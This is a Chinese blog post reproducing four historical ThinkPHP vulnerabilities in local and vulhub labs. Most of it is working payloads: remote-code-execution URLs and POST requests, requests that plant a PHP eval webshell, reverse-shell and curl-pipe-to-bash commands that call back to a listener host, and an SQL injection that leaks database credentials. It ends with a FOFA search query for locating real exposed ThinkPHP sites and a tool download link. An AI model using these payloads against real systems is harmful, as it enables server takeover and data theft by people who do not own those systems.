web服务框架安全-ThinkPHP漏洞复现

  • web服务框架安全-ThinkPHP漏洞复现已关闭评论
  • 28 views
  • A+

前言

本篇文章是ThinkPHP服务框架历史漏洞利用复现记录,记录了ThinkPHP历史漏洞利用方式,文章分为简介、安装、漏洞复现、fofa搜索/实战和工具下载六部分,复现4个历史漏洞,复现使用环境为本地及docker vulhub。文中出现的错误和不足之处希望读者指出,谢谢^^

一、Thinkphp简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP是按照MVC思想开发的一个框架,也叫TP框架。

优点:

1、快速,稳定的搭建系统程序

2、可以使开发人员经历集中在业务逻辑上,不需要关系程序的底层架构

3、可以节省大量代码,后期的升级、维护、优化十分方便

4、有利于团队的代码风格统一

二、Thinkphp安装

下载地址

```xml
http://www.thinkphp.cn/down.html

使用环境

ThinkPHP_2.2
ThinkPHP_3.1.2
ThinkPHP_5.0.22
ThinkPHP_v5.0.23
vulhub
```

本地搭建Thinkphp

使用PHPStudy搭建,注意需要安装vc9-x86

(1)将下载到的thinkphp 5.0.22解压,把文件复制到网站的根目录WWWweb:

wKg0C2D44zSAEzuhAADOvIFMMWw930.png

(2)配置域名,这里是本地,输入本地lP,网站目录WWW/web,点击新增后再点击保存设置并生成配置文件:

wKg0C2D44zqAbQ5RAADkSEkPjmw135.png

(3) 修改一下网站的运行目录,thinkPHP的入口是在public,在其他设置--打开配置文件--vhosts-conf修改:

wKg0C2D440GAaTxYAAE5QELt7Rc708.png

(4) 在documentroot后面加上public,点击保存︰

wKg0C2D440mALYVbAAEAU3XZbY467.png

重启Apache和MySQL

wKg0C2D441SAZKfZAACPAEVQEOY848.png

(5) 访问测试

xml
http://192.168.11.127/

wKg0C2D441mAeYuqAABYSUFAco514.png

三、本地环境复现

1) 验证漏洞是否存在

xml
http://192.168.11.127/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo

显示phpinfo证明漏洞存在

wKg0C2D445mAYfXKAADj6t1B1T4565.png

2) 上线shell

写入一句话木马

xml
http://192.168.11.127/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['ha']);?>

成功写入

wKg0C2D48baARyuPAAA5ladaHWs191.png

菜刀连接

wKg0C2D48byAO700AABJxgtyFg205.png

wKg0C2D48cOADjfPAABpp9YNFeU473.png

四、Vulhub环境复现

1、ThinkPHP 2.x任意代码执行漏洞

1) 影响版本

xml
ThinkPHP 2.x

2) 漏洞启动

(1) 开启ThinkPHP2.x任意代码执行漏洞

shell
docker-compose up -d

wKg0C2D48cyAY3HnAAGVzCwM20A242.png

(2) 验证环境是否开启

shell
docker ps

wKg0C2D48dOAOJozAABY776WRcA195.png

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.11.92:8080/

wKg0C2D48dqAa50lAACI4OgSEg740.png

(2) 验证漏洞是否存在

xml
http://192.168.11.92:8080/index.php?s=/index/index/name/${@phpinfo()}

wKg0C2D48eGAVFN9AAEUVeZadY635.png

(3) RCE POC

xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

wKg0C2D48eiAGWNsAACabPRAt7s449.png

命令执行

POC

```xml
POST /index.php/?s=a/b/c/${@print(eval($_POST[1]))} HTTP/1.1
Host: 192.168.11.92:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=9c61c7aabd7dadb0aaa492e7fe41925d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

1=system("id");
```

wKg0C2D48fCAE8lXAACjhTnWM590.png

(4) 反弹shell

准备

shell
bash -i >& /dev/tcp/192.168.10.225/8888 0>&1
python -m SimpleHTTPServer 80

创建好bash和开启python http模式!

xml
1=system("curl 192.168.10.225/shell.sh | bash");

wKg0C2D48fiAM45gAAC8zyDBrY192.png

(5) 直接菜刀连接的payload

xml
http://192.168.11.92:8080/index.php?s=a/b/c/${@print(eval($_POST[1]))}

wKg0C2D48gaAPQS4AADBsxVCcIU730.png

连接成功

wKg0C2D48gyAE0qAACJaGWO7ww394.png

2、Thinkphp5 5.0.22 L 5.1.29远程执行代码漏洞

1) 影响版本

xml
5.0.22 / 5.1.29

2) 漏洞启动

(1) 开启5.0.22漏洞

shell
docker-compose up -d

wKg0C2D48hWAOiqcAAGympTVigk968.png

(2) 验证漏洞环境是否开启

shell
docker ps

wKg0C2D48huAOg6XAABhBfCtIdE405.png

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.14:8080/

wKg0C2D48iWAL7MpAABvjRcJ1eE892.png

(2) 验证漏洞是否存在

phpinfo payload

xml
http://192.168.3.14:8080/index.php?s=/Index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

wKg0C2D48iuAUoxAAGbn8znDM742.png

(3) 任意命令执行

payload

xml
http://192.168.3.14:8080/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

wKg0C2D48jOASm2AAAAy5Zro76c965.png

(4) 写入webshell

payload

```xml
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=要写入的文件内容或文件内容的url编码
<?php @eval($_POST['h']);?>

<?php eval($_POST[h]);?>

最终
http://192.168.3.14:8080/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_a
rray&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['h']);?>
```

wKg0C2D48jqAOZeLAAAsfDuTk843.png

蚁剑成功连接

wKg0C2D48kCAUX8wAACiv60TKss189.png

wKg0C2D48kaAfMsjAACdt9kEZVM038.png

3、ThinkPHP 5.0.23远程执行代码漏洞

1) 影响版本

xml
ThinkPHP 5.0.0 ~ 5.0.23

2) 漏洞启动

(1) 启动环境

xml
docker-compose up -d

wKg0C2D48k6ANIuAAGjgzGVW0w229.png

(2) 验证漏洞环境是否开启

xml
docker ps

wKg0C2D48lWAaFw3AABm4Ps2Czw118.png

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.14:8080/

wKg0C2D48lyALMN4AAByy4q4o447.png

(2) 验证漏洞是否存在

```xml
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.3.14:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```

wKg0C2D48mOAWw7oAACtjkRcWoY729.png

(3) 反弹shell

xml
bash -i >& /dev/tcp/192.168.3.20/8888 0>&1
python -m SimpleHTTPServer 80
nc -lvp 8888
curl 192.168.3.20/shell.sh | bash

wKg0C2D48mmAWprAAAD6DASqap0506.png

4、ThinkPHP5 SQL注入漏洞和敏感信息泄露漏洞

1) 影响版本

xml
ThinkPHP < 5.1.23

2) 漏洞启动

(1) 开启环境

xml
docker-compose up -d

wKg0C2D48nCAdhH5AAA3ad83NNc864.png

(2) 验证环境是否开启

shell
docker ps

wKg0C2D48neARiwzAAAzRJY8RVo037.png

3) 漏洞复现

(1) 访问靶机

xml
http://192.168.3.20/

wKg0C2D48n2AFEigAAApzuZ1hFk247.png

(2) 验证漏洞是否存在

xml
http://192.168.3.20/index.php?ids[]=1&ids[]=2

wKg0C2D48oOAA73jAAAxeuwNJRo190.png

(3) 获取mysql数据库用户名密码

构造POC,填写到password框

xml
http://192.168.3.20/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

wKg0C2D48o2ATOnJAACMiJ9EIRA332.png

五、实战

fofa搜索方式

xml
"ThinkPHP V5" && "十年磨一剑 - 为API开发设计的高性能框架"

wKg0C2D48paAGKWOAABA2tMWiU408.png

wKg0C2D48pyAJTkoAAFBoIsMHM424.png

wKg0C2D48qSAb0SpAABgBLDU8qY046.png

六、工具及复现资源

链接:https://pan.baidu.com/s/1D2rd52NwnM7JRnHsLkhrPA
提取码:luy9

wKg0C2D489CANmQvAACOCj1aMI195.png

相关推荐: 堆的largebin attack利用

介绍 结构 large bin与其他bin的结构都不同,它多了两个指针fd_nextsize和bk_nextsize,直接说难以理解它的结构,先放一张图后边慢慢说它的结构: 上图是large bin的内部结构,large bin与其他bin的主要区别在于它使用…